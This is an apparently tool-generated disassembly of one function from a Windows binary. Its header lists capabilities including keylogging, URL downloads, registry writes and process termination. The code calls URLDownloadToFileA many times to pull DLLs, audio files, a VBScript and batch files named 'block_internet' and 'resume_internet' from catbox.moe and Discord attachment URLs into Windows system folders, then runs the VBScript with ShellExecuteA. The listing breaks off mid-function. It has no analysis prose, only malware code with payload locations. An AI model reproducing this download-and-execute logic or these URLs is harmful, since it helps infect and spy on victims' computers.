Function at 0x14005c9b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Enumerate processes
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x28a0]
mov eax, 0x29a0
call fcn.1401321a0
sub rsp, rax
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
mov eax, dword [0x1401736d8]
lea r8, [rbp + 0x818]
movups xmm1, xmmword [0x1401736c8]
mov dword [rbp + 0xc50], eax
xor r12d, r12d
movzx eax, word [0x1401736f8]
lea rdx, [rbp + 0xc30]
movups xmmword [rbp + 0xc30], xmm0
mov word [rbp + 0x830], ax
xor r9d, r9d
movups xmm0, xmmword [str.C:WindowsTemp_acg3ql.dll]
movzx eax, byte [0x1401736fa]
xor ecx, ecx
movups xmmword [rbp + 0xc40], xmm1
mov byte [rbp + 0x832], al
movups xmmword [rbp + 0x818], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x1401736f0]
movsd qword [rbp + 0x828], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rbp + 0xbc0]
movaps xmm1, xmmword [0x140173710]
lea rdx, [rbp + 0xef0]
mov eax, dword [0x140173768]
xor r9d, r9d
movaps xmmword [rbp + 0xef0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140173720]
movaps xmmword [rbp + 0xf10], xmm0
movaps xmm0, xmmword [0x140173740]
movaps xmmword [rbp + 0xf30], xmm0
movsd xmm0, qword [0x140173760]
movaps xmmword [rbp + 0xf00], xmm1
movaps xmm1, xmmword [0x140173730]
movsd qword [rbp + 0xf50], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xf58], eax
movzx eax, byte [0x14017376c]
movaps xmmword [rbp + 0xf20], xmm1
movaps xmm1, xmmword [0x140173750]
movaps xmmword [rbp + 0xf40], xmm1
movups xmm1, xmmword [0x140173780]
mov byte [rbp + 0xf5c], al
movzx eax, byte [0x140173798]
movups xmmword [rbp + 0xbc0], xmm0
mov byte [rbp + 0xbe8], al
movsd xmm0, qword [0x140173790]
movsd qword [rbp + 0xbe0], xmm0
movups xmmword [rbp + 0xbd0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movzx eax, word [0x1401737f8]
lea r8, [rbp + 0x800]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038705981390848_activar.wav]
lea rdx, [rbp + 0xdd0]
movaps xmm1, xmmword [0x1401737b0]
xor r9d, r9d
movaps xmmword [rbp + 0xdd0], xmm0
movaps xmm0, xmmword [0x1401737c0]
mov word [rbp + 0xe28], ax
movzx eax, byte [0x1401737fa]
movaps xmmword [rbp + 0xdf0], xmm0
movaps xmm0, xmmword [0x1401737e0]
mov byte [rbp + 0xe2a], al
mov eax, dword [0x140173810]
movaps xmmword [rbp + 0xe10], xmm0
movsd xmm0, qword [0x1401737f0]
mov dword [rbp + 0x810], eax
movzx eax, word [0x140173814]
movsd qword [rbp + 0xe20], xmm0
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov word [rbp + 0x814], ax
movzx eax, byte [0x140173816]
movaps xmmword [rbp + 0xde0], xmm1
movaps xmm1, xmmword [0x1401737d0]
movups xmmword [rbp + 0x800], xmm0
mov byte [rbp + 0x816], al
movaps xmmword [rbp + 0xe00], xmm1
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rbp + 0x938]
mov eax, dword [0x140173878]
lea rdx, [rbp + 0xe30]
movaps xmm1, xmmword [0x140173830]
xor r9d, r9d
movaps xmmword [rbp + 0xe30], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140173840]
movaps xmmword [rbp + 0xe50], xmm0
movaps xmm0, xmmword [0x140173860]
movaps xmmword [rbp + 0xe70], xmm0
movsd xmm0, qword [0x140173870]
movsd qword [rbp + 0xe80], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0xe88], eax
movzx eax, word [0x14017387c]
movups xmmword [rbp + 0x938], xmm0
mov word [rbp + 0xe8c], ax
movsd xmm0, qword [0x140173890]
movzx eax, word [0x140173898]
movaps xmmword [rbp + 0xe40], xmm1
movaps xmm1, xmmword [0x140173850]
movsd qword [rbp + 0x948], xmm0
movaps xmmword [rbp + 0xe60], xmm1
mov word [rbp + 0x950], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp + 0x958]
movaps xmm1, xmmword [0x1401738b0]
lea rdx, [rbp + 0xf60]
movzx eax, byte [0x1401738f8]
xor r9d, r9d
movaps xmmword [rbp + 0xf60], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401738c0]
movaps xmmword [rbp + 0xf80], xmm0
movaps xmm0, xmmword [0x1401738e0]
movaps xmmword [rbp + 0xfa0], xmm0
movsd xmm0, qword [0x1401738f0]
movsd qword [rbp + 0xfb0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xfb8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp + 0x958], xmm0
mov word [rbp + 0x970], ax
movsd xmm0, qword [0x140173910]
movaps xmmword [rbp + 0xf70], xmm1
movaps xmm1, xmmword [0x1401738d0]
movsd qword [rbp + 0x968], xmm0
movaps xmmword [rbp + 0xf90], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
mov eax, dword [0x140173940]
lea r8, str.C:WindowsTemp_afyk9c.dll
movups xmm1, xmmword [0x140173930]
mov edx, 0x104
mov dword [rbp + 0xc78], eax
lea rcx, [rbp + 0x2190]
movups xmmword [rbp + 0xc58], xmm0
movups xmmword [rbp + 0xc68], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2190]
xor ecx, ecx
lea rdx, [rbp + 0xc58]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
movups xmmword [rbp + 0xc80], xmm0
mov eax, dword [0x140173940]
lea r8, [rbp + 0x838]
movups xmm0, xmmword [str.C:WindowsTemp_afyk9c.dll]
mov dword [rbp + 0xca0], eax
xor r9d, r9d
movzx eax, word [0x140173510]
lea rdx, [rbp + 0xc80]
movups xmm1, xmmword [0x140173930]
mov word [rbp + 0x850], ax
xor ecx, ecx
movzx eax, byte [0x140173512]
movups xmmword [rbp + 0x838], xmm0
mov byte [rbp + 0x852], al
movsd xmm0, qword [0x140173508]
movsd qword [rbp + 0x848], xmm0
movups xmmword [rbp + 0xc90], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_afyk9c.dll]
mov eax, dword [0x140173940]
lea r8, [rbp + 0x858]
movups xmm1, xmmword [0x140173930]
mov dword [rbp + 0xcc8], eax
xor r9d, r9d
movzx eax, word [0x140173510]
lea rdx, [rbp + 0xca8]
movups xmmword [rbp + 0xca8], xmm0
mov word [rbp + 0x870], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_afyk9c.dll]
movzx eax, byte [0x140173512]
movups xmmword [rbp + 0xcb8], xmm1
mov byte [rbp + 0x872], al
movups xmmword [rbp + 0x858], xmm0
mov qword [rsp + 0x20], r12
movsd xmm0, qword [0x140173508]
movsd qword [rbp + 0x868], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, [rbp + 0x1ac0]
lea rdx, [rdx + 0x80]
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x173950]
lea rcx, [rbx + 0x173950]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
lea r8, str.C:WindowsTemp_block_internet.bat
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x1c40]
mov byte [rdx + 0x3e], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c40]
lea rdx, [rbp + 0x1ac0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173a40]
lea rax, [rbx + 0x173a40]
mov edx, 0x104
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1b80]
movups xmmword [rcx], xmm0
lea r8, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1d50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d50]
xor ecx, ecx
lea rdx, [rbp + 0x1b80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173b30]
lea rcx, [rbx + 0x173b30]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1580]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsSystem32_rafa.wav
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1e60]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1e60]
xor ecx, ecx
lea rdx, [rbp + 0x1580]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_xdgioy.text]
movups xmm1, xmmword [0x140173c18]
movups xmmword [rbp + 0x9e0], xmm0
movups xmmword [rbp + 0x9f0], xmm1
mov eax, dword [0x140173c28]
lea r8, str.C:WindowsTempxdgioy.dll
mov dword [rbp + 0xa00], eax
lea rcx, [rbp + 0x13b0]
movzx eax, byte [0x140173c2c]
mov edx, 0x104
mov byte [rbp + 0xa04], al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x13b0]
xor ecx, ecx
lea rdx, [rbp + 0x9e0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x140173c28]
lea r8, str.C:WindowsTempxdgioy.dll
movups xmm0, xmmword [str.https:__files.catbox.moe_xdgioy.text]
mov dword [rbp + 0xa28], eax
mov edx, 0x104
movups xmm1, xmmword [0x140173c18]
movzx eax, byte [0x140173c2c]
lea rcx, [rbp + 0x13b0]
movups xmmword [rbp + 0xa08], xmm0
mov byte [rbp + 0xa2c], al
movups xmmword [rbp + 0xa18], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x24c0]
xor ecx, ecx
lea rdx, [rbp + 0xa08]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_9ll0jb.dll]
mov eax, dword [0x140173c50]
lea r8, str.C:WindowsTemp9ll0jb.dll
movups xmm1, xmmword [0x140173c40]
mov edx, 0x104
mov dword [rbp + 0xcf0], eax
lea rcx, [rbp + 0x13b0]
movups xmmword [rbp + 0xcd0], xmm0
movups xmmword [rbp + 0xce0], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x25d0]
xor ecx, ecx
lea rdx, [rbp + 0xcd0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_9ll0jb.dll]
mov eax, dword [0x140173c50]
lea r8, str.C:WindowsTemp9ll0jb.dll
movups xmm1, xmmword [0x140173c40]
mov edx, 0x104
mov dword [rbp + 0xc28], eax
lea rcx, [rbp + 0x1f70]
movups xmmword [rbp + 0xc08], xmm0
movups xmmword [rbp + 0xc18], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1f70]
xor ecx, ecx
lea rdx, [rbp + 0xc08]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173c80]
lea rdx, [rbp + 0x1640]
movups xmm1, xmmword [rbx + 0x173c90]
lea rcx, [rbx + 0x173c80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
mov eax, dword [rcx + 0xb0]
lea r8, str.C:WindowsTempRas1.dll
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x2080]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2080]
xor ecx, ecx
lea rdx, [rbp + 0x1640]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173d60]
lea rcx, [rbx + 0x173d60]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x17c0]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsTempRastss.dll
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x23b0]
mov byte [rdx + 0x36], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x23b0]
xor ecx, ecx
lea rdx, [rbp + 0x17c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea r8, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x140173e30]
lea rcx, [rbp + 0x22a0]
mov eax, dword [0x140173e78]
mov edx, 0x104
movaps xmmword [rbp + 0x1020], xmm0
movaps xmm0, xmmword [0x140173e40]
movaps xmmword [rbp + 0x1040], xmm0
movaps xmm0, xmmword [0x140173e60]
movaps xmmword [rbp + 0x1060], xmm0
movsd xmm0, qword [0x140173e70]
movaps xmmword [rbp + 0x1030], xmm1
movaps xmm1, xmmword [0x140173e50]
movsd qword [rbp + 0x1070], xmm0
movaps xmmword [rbp + 0x1050], xmm1
mov dword [rbp + 0x1078], eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x22a0]
xor ecx, ecx
lea rdx, [rbp + 0x1020]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173ea0]
lea rcx, [rbx + 0x173ea0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1880]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x878]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x1880]
movzx eax, word [0x140173f70]
mov word [rbp + 0x890], ax
movzx eax, byte [0x140173f72]
movups xmmword [rbp + 0x878], xmm0
mov byte [rbp + 0x892], al
movsd xmm0, qword [0x140173f68]
movsd qword [rbp + 0x888], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173ea0]
lea rcx, [rbx + 0x173ea0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1940]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
lea r8, [rbp + 0x898]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
xor r9d, r9d
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x1940]
movzx eax, word [0x140173f70]
mov word [rbp + 0x8b0], ax
movzx eax, byte [0x140173f72]
movups xmmword [rbp + 0x898], xmm0
mov byte [rbp + 0x8b2], al
movsd xmm0, qword [0x140173f68]
movsd qword [rbp + 0x8a8], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173f80]
lea rcx, [rbx + 0x173f80]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1a00]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0x8f8]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x1a00]
mov eax, dword [0x140174058]
mov dword [rbp + 0x910], eax
movzx eax, byte [0x14017405c]
movups xmmword [rbp + 0x8f8], xmm0
mov byte [rbp + 0x914], al
movsd xmm0, qword [0x140174050]
movsd qword [rbp + 0x908], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x173c80]
lea rcx, [rbx + 0x173c80]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1700]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
mov eax, dword [rcx + 0xb0]
lea r8, [rbp + 0x918]
movups xmm1, xmmword [rcx + 0x90]
xor r9d, r9d
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1700]
movzx eax, byte [0x140173d50]
movups xmmword [rbp + 0x918], xmm0
mov byte [rbp + 0x930], al
movsd xmm0, qword [0x140173d48]
movsd qword [rbp + 0x928], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x174060]
lea rax, [rbx + 0x174060]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x14c0]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rbp + 0xb80]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x14c0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp + 0xb80], xmm0
movsd xmm0, qword [0x140174128]
movsd qword [rbp + 0xb90], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
xor r9d, r9d
movzx eax, word [0x140174188]
movaps xmm1, xmmword [0x140174140]
movaps xmmword [rbp + 0xfc0], xmm0
movaps xmm0, xmmword [0x140174150]
movaps xmmword [rbp + 0xfe0], xmm0
movaps xmm0, xmmword [0x140174170]
movaps xmmword [rbp + 0x1000], xmm0
movsd xmm0, qword [0x140174180]
movsd qword [rbp + 0x1010], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0x1018], ax
movzx eax, word [0x1401735c8]
movups xmmword [rbp + 0x8b8], xmm0
mov word [rbp + 0x8d0], ax
movsd xmm0, qword [0x1401735c0]
movzx eax, byte [0x1401735ca]
movaps xmmword [rbp + 0xfd0], xmm1
movaps xmm1, xmmword [0x140174160]
movsd qword [rbp + 0x8c8], xmm0
movaps xmmword [rbp + 0xff0], xmm1
mov byte [rbp + 0x8d2], al
mov qword [rsp + 0x20], r12
